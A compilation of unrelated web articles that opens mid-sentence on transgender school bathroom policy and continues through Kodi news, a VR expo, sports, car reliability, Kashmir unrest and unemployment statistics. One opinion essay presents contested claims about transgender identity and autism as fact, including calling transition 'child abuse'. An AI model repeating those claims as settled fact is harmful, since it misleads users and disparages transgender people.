nonsense coming out of the Department of Education. I call upon Betsy DeVoss to end this new policy.”  In February, the Trump administration announced that it had revoked a vague Obama administration order forcing taxpayer-funded schools to allow transgender students to use the bathrooms and locker rooms of their choice. Two federal agencies, the Department of Justice and the Department of Education, jointly issued the administrative guidance in the form of a letter. (RELATED: Trump Revokes Obama’s Public School Transgender Bathroom Free-For-All)  White House press secretary Sean Spicer suggested at the time that President Trump would abandon Obama’s transgender-bathroom mandate. “This is a states’ rights issue and not one for the federal government,” Spicer informed reporters, according to The New York Times.  The previous Obama administration guidance, sent in May 2016, instructed public school districts across the country to allow transgender students to choose bathrooms and shower stalls consistent with their gender identity, not their biological features.  Also in February, the U.S. Department of Justice sought permission to delay a hearing on a motion — filed last year — asking federal district judge Reed O’Connor to ease a preliminary injunction striking down the Obama administration guidance on bathroom and shower use in public schools.  The preliminary injunction, entered in August, stems from a 2016 lawsuit filed by the state of Texas in response to the Obama administration’s transgender bathrooms directive. A dozen states joined the suit, which accused federal agencies of issuing the guidelines by means of regulatory “dark matter” — a deluge of agency directives, notices, memoranda, guidance documents, and even blog posts which effectively create new policy without congressional legislation or Administrative Procedure Act (APA) protocols. The states claim that this strategy allows agencies to evade judicial review and achieve their policy objectives. (RELATED: Texas Leads 13 States In Lawsuit To Stop Obama Transgender Bathroom Rules)  Judge O’Connor, an appointee of George W. Bush, wrote in the preliminary injunction that Title IX “is not ambiguous” concerning “the biological and anatomical differences between male and female students as determined at their birth.”  Follow Eric on Twitter. Like Eric on Facebook. Send story tips to erico@dailycaller.com.
-Exciting Google Summer of Code projects, major developments in the codebase that need testing, and even a Kickstarter are just a few of the many items that have occurred since our last community roundup in January. Let’s get updating.  Official Android Remote  With the last community update in January, we mentioned a desire for someone to step up and help maintain an official Kodi Remote for Android. Developer syncd has stepped forward and offered up Kore as an updated, open source option for users looking for Android remote control software, or even as a base for aspiring devs looking to make their own offering.  We are well aware that there are other closed source Android remotes out there. The goal of the Kore remote project is not to drive out or replace other devs and remotes, but rather to welcome new ones in by providing an open source base to work with.  Google Summer of Code  This year was an incredibly difficult one for deciding which projects to choose. We had enough mentors for 6 projects, but were only provided with 4 slots. Many years, this works fine, and it’s easy to narrow everything down. This year, there were so many great submissions that we ultimately took until the very last day to decide on the final four. There was even a period where we considered asking users to crowdsource fund the other two projects, but we ultimately deemed it too uncertain as to whether such an idea would get funded or would even be acceptable to the students’ schools. We decided not to get anyone’s hopes up only to have them dashed, and instead focus on the four projects we thought had the best combination of exciting/useful idea and feasibility.  With all that said, here are the four projects we chose:  Cross-platform room correction for Kodi: The only project submitted by a Kodi Team member that was accepted is one designed specifically for the audiophiles out there. While Kodi is currently able to bitstream to a hardware A/V Receiver that can often measure and deal with the ambiance of the room, team member Achim and others have been working to make the typical hardware AVR completely unnecessary. Significant work has already gone into integrating Digital Signal Processing features into ActiveAE, Kodi’s integrated audio engine. The next step in this process is… well, let’s let Achim explain it.  One focus of this proposal is to integrate external input sources into ActiveAE. With this new extension point it will be possible to connect a microphone to a Kodi capable device. This allows you to digitally optimize your listening experience while sitting on your favorite listening position e.g. your couch or your armchair, by compensating the influence of the interior room factors. This feature is widely known as digital room correction or digital room equalization.  For digital room correction, three other implementation components are required. One is the implementation of a convolution engine to combine and compute the audio signal with a calculated room correction filter. At the time of writing a first prototype addon adsp.xconvolver exists, this addon was written by me in order to evaluate the technical feasibility of this project. The addon is based on the highly optimized cross platform library LibXConvolver. The second and third component is the measurement signal and filter generation, which I want to implement in adsp.xconvoler during my GSoC coding time.  Put simply, with an integrated DSP and room correction, Kodi should be able to completely eliminate the need for most of the high end software found in most AVRs.  NVIDIA Gamestream: As the code that should revolutionize how Kodi handles inputs finally makes it into core, one of the first projects to take advantage of it will hopefully be a Kodi-specific implementation of NVIDIA’s Gamestream tech. For those unaware of Gamestream, NVIDIA has created a solution for streaming content from a more powerful gaming PC with an NVIDIA graphics card to any of NVIDIA’s Shield devices.  At least, that’s how it started. Since Gamestream was released, a dev going by cgutman created Limelight, an opensource library that makes it possible for any device or software to act as a Gamestream receiver. The goal of this GSOC project is to extend that capability to any instance of Kodi, so you could theoretically watch a show on your RaspberryPi2 running Kodi, then switch over to play some Assassin’s Creed Black Flag, and then listen to a little night music. There are some serious technical issues that will need to be resolved with this project, not the least of which is the potential for massive latency, but if it works, it should make for some really great experiences.  Better Profile Handling: Honestly, this one is far more exciting to us developers than to users. The issue is that as we move towards a model that allows for headless server instances of Kodi, all the instances of Kodi in your house will likely be run by different individuals with different wants and needs, and the other instances on the network simply aren’t smart enough to deal with that at the moment. So one of the great underlying needs of Kodi right now is a vastly improved handling of individual profiles. While users may not see a ton of direct impact on their day to day usage, this project should indirectly touch almost everything we do while using Kodi.  On-The-Fly Transcoding: It’s kind of the holy grail of UPnP server-client interaction and something Kodi doesn’t do at all. As such, this project is probably the most risky project, as it will effectively be an entirely new section of the Kodi code-base, but it may also be the most rewarding. Regardless, the entire team is excited (cautiously excited, in some cases) about this project, and we guess quite a lot of users will be too. As we move forward with it, we’ll keep you updated on its progress.  DVR Kickstarter  We don’t often mention Kickstarters in our blog, but since at least one team member is helping with the project, we figured we’d point out Silicon Dust’s DVR. While the company has already met their goal, their first stretch goal is to make a DVR add-on for Kodi that essentially extends the already fairly brilliant HDHomeRun add-on we featured last month. As many of us would like to use this software, we’re definitely hoping they hit their goal, and as off this writing, they’re only about 5k away.  Bitcoin Donations  Team Member Kib put in all the effort to make it possible for those of you who don’t like Paypal and don’t like banks to donate using the newest, coolest currency: Bitcoin. Many of you demanded it as an option. We’re happy we are finally able to meet that demand.  UPnP Library Integration  Yet another of the major requests we get on a regular basis is for a single library across all your devices without the need to use add-on workarounds or hacks or the AdvancedSettings.xml to make it happen. Team Member Montellese has been working on this task and is now ready for testers to start poking holes in his project: Media Importing and Library Integration of UPnP. A quick overview video can be found below, but simply put, with Montellese’s test build you only need to scan your folders on your network once. Every other instance of Kodi can just scan and grab the library from whatever your main device is. Now any UPnP device on your network can act as a library source.  Website Update  Finally, we’re beginning the process of updating the website to a new look that’s a bit more friendly for first time users. While we’ll talk more about that in the future, for now we’d just like to point out that most of the posts for the past 5 years or so have been categorized, as you should be able to see to the right. This means it’ll be much easier to find some of our favorite old posts, including all the old Feature Fridays, old April Fools jokes, and more.
-The ridiculous and amazing things we scouted in Shanghai.  China Joy kicked off Thursday at the Shanghai New International Expo Center with over 600 firms showing the latest in entertainment and technology.  Among the expected fare of films, games, animation, audio products and cosplay during the four-day conference, there was one obvious and unavoidable sorta newcomer to the scene — virtual reality.  From all-in-one mobile VR headsets to tethered head-mounted displays (HMDs) with hand-controllers that looked eerily similar to brands we already report on, one thing’s for sure, there was no shortage of VR and AR hardware on the show floor.  Let’s take a look at some of the common themes we came across at China Joy.  Rides. There were giant swings, flying things, rollercoasters and jet skis.  Guns. Armed to the teeth with tethered Vives, backpack VR and 3D printed controllers.  Headsets. We saw quite a few multiplayer Vive setups, but we also saw Move controllers on heads, branded headsets and even headsets that look like a Vive controller and Oculus Touch controller had a baby!  Wait, is Freddie Prinze Jr. a fan of VR now!?  Speaking of weird — companies and their names sometimes.  Parties. The VR parties were just as unique. This one had a pool inside it.  There was even mixed reality in the “bathroom”.  With all the strange, unique and sometimes just amazing things we saw for the first time — there was one familiar title that reminded us of home.  Worldwide shipments of VR hardware is set to skyrocket in 2016, with some estimates pointing at volumes of 9.6 million units and hardware revenues approaching $2.3 billion in 2016, according to IDC. Most of that hardware growth will be fueled by key products from Samsung, Sony, HTC, Oculus and Google. And you can expect China will be playing a large role in that growth, not only from the manufacturing side, but also sheer volume of consumer adoption.  According to the latest research released by China Electronics Standardization Institute and Xinhua News Agency, the expanding industry is working to make VR part of people’s daily lives in China. The Chinese VR market was worth 1.54 billion yuan ($236 million) in 2015, and is expected to rise to more than 5 billion yuan ($753 million) this year.  This is going to be quite a world we’ll live in.  Image Credit: Stephen Ip
-x YouTube Video  “For people like Bill O’Reilly,” Hayes said, “there is a zero sum of concern, here. For him, this really isn’t about his interest in helping the actual human beings being killed on Chicago’s South Side. No. It’s about making a point. A point about the propensity of black people to commit violence, and then tossing them aside as violent people with ‘little discipline’ who are ‘unsupervised’ and ‘prone to imitate bad behavior.’” Hayes said, “There are about 200 million white people in America, making up about 63% of the population. In 2010, 1,179 white people were killed by black people.  Compare that number to the roughly 20,000 white people who died from accidental poisoning, 16,000 who died from accidental falls that year, or the 2,000 or so white people estimated who died from accidental drowning. In other words, Bill O’Reilly, you have more reason to be afraid of your own swimming pool than any young black man you see in a hoodie.” Rep. Barbra Lee states that "many studies have shown that low socio-economic status is the largest indicator of violence rather than race".  Just as many argue there is a correlation between a high rate of black crime, even though the fact is those statistics are repeatedly misused, skewed and distorted, they often ignore that there is also a fairly high rate of poverty among non-whites. Via Wapo.  A census report on poverty rates for various racial and ethnic groups found poverty widespread among American Indians, blacks and Hispanics. Nationwide, during 2007 and 2011, which encompasses the recession and the immediate aftermath, 43 million Americans — or slightly more than 14 percent — lived in poverty. But not every group was impacted equally. The poverty rate was 27 percent for American Indians, 26 percent for African Americans and 23 percent for Hispanics. Among whites and Asians, less than 12 percent were poor. The federal threshold for poverty is about $11,500 in annual income for an individual and about $23,000 for a family of four.  So you see the poverty rate for non-whites and non-asians is over two times higher, and also the unemployed rate is far higher as well and has been for quite some time.  There are of course a great many factors that influence this, the crumbling of the urban educational infrastructure, the automation, outsourcing and offshoring blue color jobs, our slow stumbling recovery from the second greatest financial collapse in our history which affects both black and white alike, but with the additional tendency of business to discriminate in hiring, for banks to discriminate in lending, and landlords to discriminate in housing, biased policing that drains economic resources, the drug war and mass incarceration that disenfranchises millions from the job market and most importantly the creeping deficit of hope that slowly drowns the promise of an eventual better future, the end result affects blacks somewhat more. When it came to finding one of the studies mentioned by Rep. Lee, it took all of 0.0026 seconds on google. Here is what the Bureau of Justice Statistics states.  For the period 2008–12— Persons in poor households at or below the Federal Poverty Level (FPL) (39.8 per 1,000) had more than double the rate of violent victimization as persons in high-income households (16.9 per 1,000). Persons in poor households had a higher rate of violence involving a firearm (3.5 per 1,000) compared to persons above the FPL (0.8–2.5 per 1,000). The overall pattern of poor persons having the highest rates of violent victimization was consistent for both whites and blacks. However, the rate of violent victimization for Hispanics did not vary across poverty levels. Poor Hispanics (25.3 per 1,000) had lower rates of violence compared to poor whites (46.4 per 1,000) and poor blacks (43.4 per 1,000). Poor persons living in urban areas (43.9 per 1,000) had violent victimization rates similar to poor persons living in rural areas (38.8 per 1,000). Poor urban blacks (51.3 per 1,000) had rates of violence similar to poor urban whites (56.4 per 1,000).  So, generally speaking, rates of violence for people in poverty are largely the same across racial lines it's just that there is a far higher rate of black people living in poverty in higher concentrated density, and hence, more likely in those specific areas to resort to violence, or become the victim of violence. The violence isn't tied to who or what they are, it's tied to the circumstances their living in.  Blacks are not inherently prone to violent crime, poor people sometimes are.  Even with that fact documented, it's it interesting that when you control for poverty for poor urban blacks, that the actual rate of violence is slightly higher for poor urban whites at 56.4 incidents per 1000 white persons vs. 51.3 per 1000 black persons. It may not be more than a statistical anomaly, but it does go directly against the prevailing narrative.  It's also interesting that poor Hispanics rate of violence is not much affected by poverty and is nearly half the rate of both poor blacks and whites -perhaps because for many of them U.S. poverty is a massive upgrade from poverty in Latin America - which certainly stands in stark contrast to the claims made by the likes of Donald Trump about "immigrant rapists and killers" and the like. It is said that a man with few means and great wants may resort to desperate measures. I think we can see that this is true whether that person is white or black. So when exactly are we going to start working on our poor-on-poor crime problem? Or just on ending the problem of the poverty gap itself?
-Jose Mourinho has led Manchester United to a 15-game unbeaten run in the Premier League  Jose Mourinho feels the praise for the playing style he has implemented in English football is long overdue.  Manchester United scored three goals in eight minutes to defeat Premier League champions Leicester City 3-0 on Sunday and close the gap on fifth-placed Liverpool to a single point.  Mourinho's side are now unbeaten in 15 league games and the manager feels he is finally starting to get the recognition he has long deserved in English football.  2:37 Leicester 0-3 Manchester Utd Leicester 0-3 Manchester Utd  He said: "My team is playing very well but for many, many years in my career, especially in this country, when my teams were ruthless and when they were phenomenal defensively and very good in the counter-attack, I listened week after week... it was not enough, in spite of winning the title three times.  "It looks like this season, to be phenomenal defensively and be good at counter attack is art, so it's a big change in England.  "I don't want to change the profile of our play. This is the way we want to play. I don't want to be the manager of a team that plays very well, creates chances and doesn't win matches. We need to score goals and today we did."  The result at the King Power never looked in doubt as United turned in a dominant performance against a Leicester side struggling at the wrong end of the table after a superb 2015/16 season in which they won the title.  Zlatan Ibrahimovic celebrates after scoring United's second goal at Leicester on Sunday  It was a far cry from last season, when Mourinho lost his job as Chelsea boss after a 2-1 defeat at the King Power Stadium - and he could not resist a joke at his expense.  He said: "The last time I was sat in this chair, the next day I was sacked!"
-First win for the Polo R WRC at the Volkswagen home event hoping to be achieved at the third attempt  Ogier, Latvala and Mikkelsen favourites as first, second and fourth in the WRC standings  First asphalt event of 2015 is final “elusive win” for Volkswagen in the WRC  Ogier/Ingrassia have first “match point” for the third title win in a row  Victorious everywhere except for Germany so far – if Volkswagen get their way, between 20 and 23 August 2015, Sébastien Ogier/Julien Ingrassia (F/F), Jari-Matti Latvala/Miikka Anttila (FIN/FIN) or Andreas Mikkelsen/Ola Fløene (N/N) will close a small but crucial gap in the resumé of the Polo R WRC. The Rally Germany, the ninth event in the FIA World Rally Championship (WRC), is the only rally to date that the 318 hp World Rally Car is yet to win. Even though Volkswagen weren’t exactly blessed with luck at their home event around Trier in 2013 and 2014, retiring early with different drivers in the lead at each of the rallies, the team is taking its usual meticulous and highly motivated approach to the task in hand. However, the business of getting a home win is anything but easy: The Rally Germany is the first real asphalt event of the WRC in 2015, and is regarded as the “beast” that really does cause dramas.  “One thing’s for certain: Our record at our home event reflects neither our ambitious goals nor our previous performance in Germany,” said Volkswagen Motorsport Director Jost Capito. “There is no other WRC event at which our desire to win is so great and so unfulfilled. We could have got the win under our own steam in 2013 and 2014, but retired with Sébastien Ogier and Jari-Matti Latvala in the lead respectively. But even though luck hasn’t exactly been on our side at home, there is no reason why we shouldn’t be fighting for first place again in 2015. With Sébastien Ogier and Jari-Matti Latvala we have two winners on asphalt lining up, and Andreas Mikkelsen is more than ready for his first ever race victory, and is pacy on all surfaces. And the team behind the three of them is also a winning bunch: They won’t be making any compromises at the Rally Germany, each of them will be putting in that extra bit of hard work and perfection.”  No fear of the “beast” Rally Germany  Volkswagen will take on the “beast” Rally Germany with the same respect as they have for every WRC event, but by no means with fear. Unlike in the previous years, Volkswagen will not be using newly built chassis for Sébastien Ogier and Jari-Matti Latvala, instead they will be using tried and tested chassis that were in action at the “Monte”, in Mexico, Portugal and Poland. And there is another difference from last year: Jari-Matti Latvala and Miikka Anttila are proven asphalt winners – at the Rally France in 2014 they celebrated the first Finnish success on this surface in 14 years, eleven months and 23 days, and also got the win at the fastest asphalt race of all time. Andreas Mikkelsen/Ola Fløene also took this opportunity to prove that they are absolute all-rounders – coming second, after finishing in this position on ice and snow in Sweden and on gravel at the Rally Poland.  To build on these successes at the first pure asphalt event since then, Volkswagen has prepared meticulously for the special conditions at the Rally Germany during testing on Corsica and in Germany, and has devised basic tuning for the second generation Polo R WRC for all three driver pairings.  Four passes of Panzerplatte and real classics to finish – the 2015 route  The WRC drivers and co-drivers will be familiar with much of the 2015 edition of the Rally Germany. None of the special stages are completely new to the participants. The notorious Panzerplatte on the military training area of Baumholder – with its unyielding “menhirs” – is on the itinerary four times on Saturday with two different stages. The area, which is only open to civilians during the Rally Germany, has caused all sorts of dramas in the past due to its particularly slippery asphalt combined with those menhirs that are intended to stop tanks. The world’s elite will take on the drift of these special stages with the respect they deserve – at 2.87 and 45.61 kilometres in 2015, they are the longest and the shortest stage of the Rally Germany. However, the highlight is the two special stages on Sunday. “Stein & Wein” and “Drohntal” are characterised by the serpentine road along the vineyards, symbolic of the Rally Germany. The second pass of the Drohntal stage will be the closing “Power Stage” on which bonus points are awarded for the top three driver/co-driver duos.
-Show full PR text  Consumer Reports Auto Reliability Survey: Ford Continues Fall While Seven Japanese Brands Top List  Audi and Cadillac make major jumps in rankings  December 2012 CoverYONKERS, NY-A perfect storm of reliability problems has dropped Ford to next to last among the 28 car brands ranked in Consumer Reports 2012 Annual Auto Reliability Survey, while its luxury brand, Lincoln, placed just a notch higher. The findings were released today before the Automotive Press Association in Detroit.  Only two years ago, Ford was Detroit's poster child for reliability. It cracked the top 10 among brands in Consumer Reports predicted-reliability scores, with more than 90 percent of its models being average or better. This year the top seven spots are all held by Japanese brands.  "Ford's bumpy road can be seen in the numbers. Sixty percent of Ford-branded models and half of Lincolns were below average in predicted reliability, and none placed above average," said Jake Fisher, director of automotive testing for Consumer Reports.  Several factors contributed to Ford's decline in Consumer Reports' reliability rankings. A few new or redesigned models, including the Explorer, Fiesta, and Focus, came out of the gate with more problems than normal. Ford has also added the MyFord/MyLincoln Touch electronic infotainment system, which has been problematic so far, to many vehicles. In addition, three historically reliable models-the Ford Escape, Fusion and the Lincoln MKZ-are not included in the analysis; the three were redesigned for 2013 and CR doesn't yet have reliability data on them.  Toyota, on the other hand, has excelled in Consumer Reports' latest ratings. Its three brands-Scion, Toyota, and Lexus-swept the top spots. Toyota is clearly setting the pace in reliability. Of the 27 models in the brand's lineup, 16 earned the highest rating. The subcompact Toyota Prius C earned Consumer Reports' top score overall. The hatchback Prius, the larger Prius V, and the new Prius plug-in were also above average.  The Toyota trio was followed by four other Japanese makes: Mazda, Subaru, Honda, and Acura, in that order. All of the models produced by the top seven brands had average or better reliability. And of the 90 Japanese models reflected in Consumer Reports' brand comparison, 86 were average or better, with 35 earning the highest rating.  Leading the Europeans, Audi had its best showing ever, moving up 18 spots to eighth place, making it easily the most reliable European make and the top non-Japanese brand.  The findings from Consumer Reports 2012 Annual Auto Survey are based on subscribers' experiences with 1.2 million vehicles. The organization uses that extensive data to predict how well new cars that are currently on sale will hold up. The complete report and rankings are available at www.ConsumerReports.org starting today, and in the December issue of Consumer Reports.  Mixed bag for domestics  Cadillac is the top U.S. brand, having moved up 14 spots this year. Its CTS coupe was the most reliable domestic car. A number of other General Motors nameplates-Buick, Chevrolet, GMC-also moved up in the ranking. The Chevrolet Volt extended-range electric car continues to have above-average reliability, and the compact Chevrolet Cruze, dismal in its first year, improved to average.  Chrysler brands had a few setbacks. This year, Consumer Reports has enough data to report on some of the recently revamped Chrysler and Dodge models, and their problems have dragged the nameplates' rankings down. The Dodge Charger, for example, returns with well-below-average reliability. Other models had ups and downs. The V6 version of the Chrysler 300 sedan, with an average rating, is now the brand's most reliable model, and the V8 300 is its worst. Likewise, the V6 Jeep Grand Cherokee scores average and the V8 is now below par. The differences stem from the alternative powertrains and the extra features found in higher-priced versions. Separating its trucks into a new nameplate, Ram, didn't help Dodge's standing. And Fiat's 500 debuted with average reliability in its first year in the United States.  Japanese models are tops  Mazda is hot on the tail of the three Toyota brands, and its improvement is buoyed by the predicted-reliability score for the new 2013 CX-5 SUV, which is much better than average. And Subaru's standing improved, with its redesigned Impreza debuting with top marks and none of its models scoring below average. Honda dropped one spot in the ranking, to sixth place, but its worst vehicle, the Odyssey minivan, improved from below average to average.  Nissan and its Infiniti luxury brand performed well overall, but a few models kept them from ranking with the other Japanese nameplates. Nissan's Versa sedan, redesigned for 2012, was much worse than average, as was the large Armada SUV. The Titan pickup truck was also below par. Of the seven Infiniti models, only the convertible version of the G scored below average.  Germans brands lead Europe  All of the German luxury brands improved. Six of the seven Audis in CR's survey rated average or better, as did 10 of the 12 BMWs. But the high-end BMW 7 Series and the turbocharged six-cylinder version of the X3 SUV were much worse than average. Mercedes-Benz made a good showing, with the turbocharged, four-cylinder C250 sedan doing well in its first year and the V6 E-Class sedan moving from average to above average. But the redesigned M-Class came in below average in its first year.  Volkswagen was a mix. The redesigned Passat did well, and the CC, Eos, and diesel Jetta sedan improved. But the redesigned Beetle, four- and five-cylinder gasoline Jetta, sporty GTI, and Touareg SUV were below average. Volvo, which ranked highest among European brands last year, dropped 10 places, hurt by declining scores for the C30 hatchback and C70 convertible and a below-average showing for the aging XC90 SUV.  Consumer Reports reliability ratings do not come from the organization's experience during vehicle testing. Instead, it relies on owners to supply the Consumer Reports National Research Center with the data. Earlier this year, the organization asked subscribers to report about serious problems they've had with their vehicles in the prior 12 months. CR bases its predicted-reliability scores on the most recent three model years of data, provided the model has not been redesigned for 2013. The scores are presented as a percentage better or worse than the average of all cars.  The minimum sample size is 100 vehicles, but Consumer Reports often gets many more. Among 2012 models, the Honda CR-V drew the most responses: 2,981. Other 2012 models with more than 2,000 responses are the Hyundai Elantra sedan and the four-cylinder Toyota Camry and Subaru Outback. Some new and redesigned models were released too late to be in our survey, and redesigned 2013 models are not included in the brand's average reliability score.  Consumer Reports is the world's largest independent product-testing organization. Using its more than 50 labs, auto test center, and survey research center, the nonprofit rates thousands of products and services annually. Founded in 1936, Consumer Reports has over 8 million subscribers to its magazine, website and other publications. Its advocacy division, Consumers Union, works for health reform, food and product safety, financial reform, and other consumer issues in Washington, D.C., the states, and in the marketplace.
-NEW DELHI/SRINAGAR, India (Reuters) - Prime Minister Narendra Modi met national party leaders on Friday to seek ways to end weeks of unrest in Kashmir, but a separatist group said there would be no peace until Indian politicians stop treating it as a purely internal issue.  India's Prime Minister Narendra Modi speaks to the media inside the parliament premises on the first day of the monsoon session in New Delhi, July 18, 2016. REUTERS/Adnan Abidi/Files  Indian security forces killed a militant leader on July 8, sparking violent protests across the Himalayan region, which is split into areas ruled by India and Pakistan. Both countries claim sovereignty of all of Kashmir.  Police extended a curfew in parts of the Muslim-majority territory for a 35th day on Friday and mobile telephone networks were suspended from late on Thursday due to worries about fresh violence following Friday prayers.  National opposition leaders have stepped up calls for an all-party delegation to visit Kashmir for talks with regional leaders.  But Modi maintained a tough line on Friday, telling party leaders in New Delhi that now was not the time to send negotiators and that there must be no compromise on national security.  Modi’s BJP rules Kashmir in a power-sharing arrangement with a regional party and has long advocated a tough stance toward the decades-long insurgency.  With 54 protesters killed since early July, one of the two factions of the main separatist alliance, the Hurriyat Conference, said there was no sign of anger abating.  “Unless there is an acknowledgement among all political parties in India that Kashmir is a dispute and not an internal issue and has to be addressed accordingly, there is very little chance of the situation improving or real peace returning,” said faction chairman Mirwaiz Umar Farooq.  Modi’s government has shunned talks with Hurriyat and other groups that challenge India’s claim, putting on hold peace talks with Pakistan, telling it to first rein in anti-India militants operating from its territory. Pakistan rejects allegations that such militants operate from its soil.  A resolution by India’s lower house of parliament on Friday urged steps to restore peace but analyst Ajai Sahni said Modi’s government appeared short of ideas on how to achieve that.  “I don’t see anything in terms of a strategy,” said Sahni, of the Delhi-based Institute for Conflict Management.  “The government and the separatists are speaking in completely divergent voices.”
-Last May, Dr. Kathleen Levinstein, a professor of social work at the University of Michigan, wrote a heartbreaking piece about her autistic daughter, a teenaged girl who became convinced that she was really a man trapped inside a woman’s body. With encouragement from transgender activists at the local organization of PFLAG (Parents, Families and Friends of Lesbians and Gays), the vulnerable young woman took sex-altering hormones and cut off her breasts. Dr. Levinstein now grieves the mutilation of her daughter’s body and the increased psychological confusion her daughter is experiencing as a result of the hormones.  She states, “She has been taken advantage of. Healthy organs were amputated…. It is a crime not just against women, but particularly against disabled women. So many of these young women who are ‘transitioning’ are also autistic.”  Some contemporary studies have made a connection between gender “dysphoria” and autism. A recent article in The Atlantic uses these studies to push the idea that “transitioning” is a healthy, even necessary, option for those on the spectrum who want it. The author asserts that any effort to discourage such “medical care” to those with special needs is callous. In this way, The Atlantic interweaves natural sympathy for the growing autism awareness movement with transgender ideology.  The Atlantic has it backwards. To help and protect individuals on the spectrum, there needs to be greater awareness of transgenderism’s lies and why those on the spectrum could be susceptible to its manipulation. Encouraging sex-change or an alternate gender identity is destructive to individuals with autism or Asperger’s (previously in a separate diagnostic category), only furthering their private pain.  Why would those who are neurobiologically different also come to see themselves as a different biological sex with the rising influence of the transgender movement? Neurologically atypical individuals spend much of their childhood and adolescence quietly struggling with how others misunderstand them and how they understand themselves. It is critical to understand this struggle in order to push back against the encroachment of transgender ideology into the gifted and special needs community.  With boys, the struggle may be outwardly noticeable. With young girls, the struggle is often more hidden (and undiagnosed). I can offer some insight into this struggle through my own childhood experience as an undiagnosed girl with Asperger’s.  As a child, I flapped my hands and engaged in what it called “stimming.” My particular type of stimming involved opening my mouth wide in a self-stimulatory manner. My jaw dropped and my hands shook repetitively while my voice sounded as if it was out-of-breath (I wasn’t struggling for breath at all). Most clinicians in the 1970s and 1980s did not even know what “stimming” was. Autism was not fully on the cultural radar yet and the groundbreaking writings of Hans Asperger had only been recently translated from the original German. I loved stimming and still do. It felt relaxing: a kind of natural, harmless high in the brain that others around me would never know and could not attain. Nonetheless, I learned at a young age to only stimmy in private so as to avoid ridicule.  From a young age, I always knew I was different in some way. Females with Asperger’s often go unrecognized because young girls are better able to “fake it until they make it” in the neurotypical world. They are better at it up to a point. That point is usually adolescence. During adolescence, the stresses of holding all the quirks and idiosyncrasies in check can be too much to bear in the face of increased social expectations.  As a result, Asperger’s girls growing up often prefer the company of boys and generally find it far easier to relate with males. As psychiatrist Martin L. Kutscher writes in The Syndrome Mix, “Many women who have Asperger’s syndrome have described to psychologists and in autobiographies how they sometimes think they have a male rather than a female brain, having a greater understanding and appreciation of the interests, thinking, and humor of boys during their early school years.” Sound familiar? This aspect of their cerebral wiring—the conflict between what they feel, how they perceive the world and how the world perceives them—existed long before the neo-Gnosticism of transgender ideology came into vogue.  Their thinking is often highly literal. Their mothers struggle to understand them and they find it easier to relate to their fathers.  Due to their unusual traits, they are also prime targets for bullying by “mean girls” during adolescence, further alienating them. I can attest to that from personal experience having ended up with a concussion and blood streaming down my face in middle school. These girls are not “boys trapped in a girl’s body.” These are girls who think differently and are often misunderstood by the other young girls around them. They don’t need to be encouraged to become males. Others need to be encouraged to better understand them as unique young women.  Boys on the spectrum face other sets of struggles. Sensory-seeking little boys may like to touch the ruffles, tutus or lace on girls’ clothes for comfort. They often have delayed gross motor skills, making it difficult for them to engage in the contact sports through which boys generally bond. Boys who toe-walk due to problems with their vestibular system may be mocked for “walking like a girl” or “acting girly.” Boys on the spectrum are routinely bullied or rejected by other boys, leading them to question their very identity as boys.  You could explain to parents and teachers that boys touching girls’ clothes need greater sensory input. You could encourage parents to help their children improve gross motor skills through physical therapy or individualized sports such as gymnastics or martial arts. You could have an occupational therapist work with them on their vestibular system. You could help them develop the friendships with other boys that they desperately crave, such as by finding parents or groups who have children with shared interests or needs.  Or you could play into false and shallow stereotypes of the sexes and tell parents that their child is really a “girl trapped in a boy’s body.” Sadly, you can see this is already happening just by perusing internet forums for moms of children with Asperger’s. Some mothers of Aspies now refer to their sons as “male-assigned” rather than boys.  These parents do not need to be told to accept that their child is really a “male trapped in a woman’s body” or “a woman trapped in a man’s body.” They need to be further educated on special needs and taught ways to relate to their quirky and gifted son or daughter with Asperger’s.  A new campaign has sprung up on social media with the hashtag #AutisticTransPride. A movement telling young people on the spectrum that the identity issues they will struggle with as they grow-up can be solved through sex change or “gender questioning” is cruel. Surface changes in clothes and pronouns will solve nothing and only exacerbate their suffering. What they need is not biological alteration, but greater acceptance and understanding of their neurobiological differences.  For a pseudo-religious movement to target this vulnerable population of youths for their own ideological ends is nothing less than child abuse. The latest Atlantic piece is just another shot across the bow. If we do not remain vigilant in speaking the truth, young people with special needs will just be the latest victims in the left-wing cultural assault against human biology.  (Photo credit: Shutterstock)
-The recent Veterans Affairs legislation is not the only time socialist Sen. Bernie Sanders, I-Vt., has found common ground with Republican lawmakers.  He has also backed efforts to revamp the Labor Department's monthly unemployment report. Conservatives like Rep. Duncan Hunter, R-Calif., also back this.  Maybe they should get to work on this too.  They certainly have a point: The Labor Department actually releases six different numbers every month. These are called "U-1" through "U-6" and range from a narrow definition of the unemployed population and to a much broader one.  The department's monthly report always uses the U-3 figure as the "official" number though. Virtually all media outlets take their cue from the department on this. That's why this month's U-3 result – 6.3 percent – dominated the news reports.  Why that figure and not one of the other five? Good question – labor economists have told me the designation is basically arbitrary.  U-3 is officially defined as "total unemployed, as a percent of the civilian labor force." A more precise definition would people who are out of work but still actively looking for a job.  U-4, on the other hand, includes those who are out of work but have given up looking. U-5 is a slightly broader definition of the same. Those numbers this month are 6.7 and 7.6 percent, respectively.  U-6 expands the figure even further to include the under-employed, such as people who are only able to find part-time work. The Labor Department put that figure at 12.2 percent this month.  Those would all seem to be a much more accurate reflection of the workforce and the economy since they include people who would be employed if they could only find full-time work. Ask yourself: Does this feel like an economy at 6.3 percent?  As Washington Examiner economics writer Joseph Lawler noted Friday: "Friday's record high number of jobs does not represent anything like a healthy U.S. labor market. Employment remains well below its pre-financial crisis growth trend."  The liberal Economic Policy Institute points out that the economy would have to generate 7.1 million jobs to keep pace with population growth since the financial crisis.  A spokesman for Sanders told the Examiner that the senator still favors a change – "He thinks the 12.2 percent figure is the real number" – but was not certain if Sanders had backed legislation to that effect.  Hunter has backed a bill, H.R. 484, titled "The Real Unemployment Calculation Act." It would designate U-5 as the official number. It has 21 sponsors but hasn't made it out of committee.  Maybe Sanders and Hunter should have a cup of coffee and talk about this.
